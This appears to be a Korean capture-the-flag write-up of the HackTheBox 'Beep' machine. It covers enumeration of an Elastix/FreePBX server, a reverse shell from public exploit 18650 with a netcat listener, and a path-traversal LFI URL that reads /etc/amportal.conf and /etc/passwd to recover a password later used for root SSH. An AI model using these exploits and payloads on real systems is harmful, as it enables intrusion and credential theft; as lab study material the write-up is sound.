nmap
nmap -sC -sV -sT 10.10.10.7 -> 너무 오래 걸린다...
더 상세한 옵션
nmap -sC -sV -p- 10.10.10.7
웹 페이지 나옴
elastix의 default credentials라 나오는 admin / palosanto, admin/ admin, admin / password 먹히지 않는다.
[****] 막간 지식
- elastix란?
IP PBX, 이메일, IM, 팩스 및 공동 작업 기능을 제공하는 통합 커뮤니케이션 서버 소프트웨어
- pbx란??
회사에서 사용되는 일정 수의 외부 전화회선을 모든 직원이 공유하고, 내선에 연결되어 있는 내부사용자들간에 전화를 자동으로 연결해주기 위한 전화교환 시스템
- FreePbx란???
잘 안나오지만.. free하게 pbx를 사용할 수 있는 것 아닐까
gobuster
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.7 -k -x php, txt, conf
의 결과를 보면
- index.php
- register.php
- config.php
가 눈에 띄는데 다 들어가보면 로그인부터 해야한다.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.7 -k
의 결과로 /admin 이 나오길래 10.10.10.7/admin으로 접근했더니, username과 password를 입력해야했다.
** 여기서도 default credentials를 구글링해 입력했지만 로그인 성공은 안됨..
틀리게 입력하고 취소? 정도를 누르니까 밑의 화면이 떴다.
FreePBX의 버전을 확인할 수 있었다. -> FreePBX 2.8.1.4
port 10000
10.10.10.7:10000 접근
default credentials -> not working
searchsploit webmin
많은 취약점 결과가 나온다.
[**] write-up 작성자의 말 => 여기 진짜 무슨 말인지 이해 안 감
이 많은 결과 중 주목해야할 점은 몇몇 취약점이 cgi script를 언급하고 있다는 점이다.
이 script는 제 shocker 글을 읽으면 가장 먼저 시도해야할 것이 shellshock 취약점이라는 걸 알아야 합니다.
이 취약점은 dynamic web content를 생성하는 시스템인 cgi를 사용하는 웹 서버에 영향을 미친다.
shellshock에 취약하지 않은 것으로 판명되면 searchsploit은 우리가 시도할 수 있는 많은 다른 익스플로잇을 반환했다.
지금까지 수행한 열거 결과를 기반으로 하여 컴퓨터를 악용할 수 있는 정보가 충분하다고 한다.
그렇지 않은 경우 돌아가서 다른 서비스를 enumerate하겠다.
[****] 막간 지식
- shellshock 취약점
취약한 버전의 bash는 환경변수의 함수 선언문 뒤에 임의의 명령어를 삽입할 경우, 환경변수에 설정된 함수 선언 시 함수 선언의 끝을 인지하지 못하고 삽입한 명령어까지 실행하는 취약점이 있다.
이것을 GNU Bash 또는 ShellShock 취약점이라고 함\
+ 읽어볼 거리
https://kinggod-daddong.tistory.com/4
searchspliot elastix의 취약점 리스트 중 적절하게 고른 것 가져오기
searchsploit -m 18650
코드 보고 어떻게 인자를 넣어야 할 지 파악하기
코드를 보니까 reverse shell이다.
그렇다면 공격자(나)가 nc로 포트를 열고 익스를 시도하면 되겠구나.
- rhost : 피해자 ip(10.10.10.7)
- lhost : 공격자 ip(내 ip)
- lport : 공격자 port(내가 열 port)
로 변경하고
nc -nlvp 1234
python 18650.py -> 기대와는 달리 protocol error
burp suite 프록시 기능을 사용하기로 판단했다.
18650.py를 고쳐본다.
url : https -> http
rhost : 10.10.10.7 -> localhost
burp suite 설정
Proxy > Options > Proxy Listeners > Add. In the Binding tab, set the port to 80. In the Request handling tab set the Redirect to host parameter to 10.10.10.7, Redirect to port parameter to 443 and check the option Force use of SSL.
[****] 막간 지식
- proxy란? [ 출처 : https://lygggg.github.io/blog/proxy/ ]
프록시(Proxy)란 ‘대신’ 이라는 의미를 가지고 있고, 프로토콜에 있어서 대리 응답 등에서 사용하는 개념이다.
보안상의 문제로 직접 통신을 주고 받을 수 없는 사이에서 프록시를 이용해서 중계한다.
이렇게 중계 기능 하는 것 을 프록시 서버 이라고 부른다.
- 프록시 서버의 특징
프록시 서버는 클라이언트와 서버의 입장에서 볼 때 서로 반대의 역할을 하는 것처럼 보여진다.
클라이언트가 프록시를 바라보면 프록시가 서버와 같은 동작을 한다고 볼 수 있다.
반대로 서버가 프록시를 바라보면 클라이언트 처럼 작동을 하게 되는 것이다.
but... not working....
이것은 script의 default extension 값과 관련이 있을 수 있다. 우리는 값 1000이 유효한 extension 값인지 모른다.
알아내기 위해서 SIPVicious security tools를 쓴다.
[****] 막간 지식
- SIPVicious [ 공식 github : https://github.com/EnableSecurity/sipvicious ]
SIPVicious는 VoIP system에 기초한 SIP를 심사하기 위한 security tool set이다.
특히, SIP server를 찾을 수 있게 하고, SIP extensions을 enumerate해 마침내 password를 crack한다.
포함되어있는 툴
- svmap - sip scanner.
- svwar - identifies working extension lines on a PBX.
- svcrack - a password cracker making use of digest authentication.
- svreport
- svcrash
- SIP [출처 및 참고 : https://soonysoon.tistory.com/49]
Session Initiation Protocol
웹에서 http 프로토콜을 이용해 데이터 전송하듯이 통신에 있어서는 SIP 프로토콜을 이용한다.
SIP는 osi 7계층인 응용 계층에 속하며, 통신의 양 끝단으로서 통신 세션을 제어하기 위해 사용된다.
tcp/udp 모두 사용 가능하며 request/response 구조이다.
이 세션에는 인터넷 전화, 멀티미디어 배포 회의가 포함되며 SIP는 이를 설정, 수정, 종료할 수 있는 시그널링 프로토콜이다.
다시 말하면, SIP는 양 끝단의 연결을 해주는 역할이지 실제 멀티미디어를 전송하고 데이터 타입 정보를 교환하는 것은 다른 여러 프로토콜의 결합이다 .
- SIP 기본통신 과정
1) SIP를 통해서 양 끝단의 세션을 만들어 상대방을 INVITE한다.(A가 B에게 전화를 건다)
2) SDP를 통해 멀티타입에 대한 정보를 교환한다
3) RTP를 이용하여 실시간 멀티미디어 서비스를 제공한다.(통화를 한다.)
4) 통화가 끝나고 세션이 종료된다.
sudo apt install sipvicious
svwar -m INVITE -e100-500 10.10.10.7
하면 유효한 extension이 나온다.(233)
18650.py의 extension을 233으로 고치고 다시
nc -nlvp 1234
python 18650.py
.
.
중략(pseudo shell 만들기)
.
.
user.txt 확인 가능
root.txt 보기
sudo -l ☞ chmod가 비밀번호없이 sudo를 사용할 수 있다는 것을 알 수 있다.
[ 풀이 쓴 사람이 푼 방식 ]
sudo chmod o+rwx /root
cat /root/root.txt
[ but not working... ] => 해결하지 못하고^^ 다음 solution을 확인한다
searchsploit elastix 결과 중 LFI 취약점 코드 가져오기
searchsploit -m 37637.pl
해당 코드를 열어보면
/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action를 볼 수 있다.
[***] elastix의 /etc/amportal.conf란?
This file contains settings for components of the Asterisk Management Portal
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action 에 접속
-> view source하면
이를 확인할 수 있다.
ssh admin@10.10.10.7 입력하면 fail...
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/passwd%00&module=Accounts&action를 보면 root가 있는 것을 볼 수 있고, 비밀번호는 볼 수 없다
아마 ssh root@10.10.10.7하면 이같은 오류가 뜨면서 안 될 것이다.
찾아보니까 ssh 버전이 높아지면서 이전에는 그냥 제공했던 key exchange 관련 처리들이 제공되지 않는 것 같다.
구글링ㄱㄱ
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@10.10.10.7
[ 출처 : https://forum.hackthebox.eu/discussion/3232/beep-box ]
이렇게 하면 접속이 되며 비밀번호를 입력하면 된다.
근데 여기서 위에서 얻은 admin의 비밀번호를 입력하면 접속이 된다;;;; root 비밀번호는 나와있지 않고 그냥 admin 비밀번호 입력하면 된다... 왜 인지는 모르겠다
쉘을 땄는데 심지어 root 권한이므로 권한 상승할 필요 없다.
끗
흐름 정리
1. nmap으로 정찰
1-1. nmap 결과로 열린 포트와 서비스, 버전 확인하며 취약점 찾기
2. gobuster로 디렉터리 파악
2-1. gobuster 결과를 통해 FreePBX 버전 파악 가능
2-2. default credentials 구글링 후 로그인 시도
3. searchsploit elasix 결과 보고 1차적인 필터링
4. 갑자기 포트 10000번에 주목
4-1. searchsploit webmin
5. 갑자기 뭔갈 깨닫고 searchsploit elastix 중 RCE 픽(18650.py)
6. 실행해서 리버스 쉘 따기
6-1. user.txt 확인 가능
7. searchsploit elastix 중 LFI 픽(37637.pl)
8. 코드 열어보고 적절한 path같은 것 찾아서 브라우저에서 접속
9. admin의 password 확인할 수 있음
10. ssh 접속해 비밀번호를 그대로 입력하면
11. root로 익스 성공
가장 쉬운 풀이
https://arkanoidctf.medium.com/hackthebox-writeup-beep-41c30e74297f
'워게임 > hackthebox' 카테고리의 다른 글
brainfuck 롸업 정리(wpscan, pop3 포함) (0) | 2021.09.07 |
---|---|
shocker 롸업 정리 (0) | 2021.09.05 |
sense - 롸업 정리 (0) | 2021.09.03 |
node 롸업 정리 (0) | 2021.08.15 |
[HTB] lame - 참고 링크 정리 (0) | 2021.08.15 |
댓글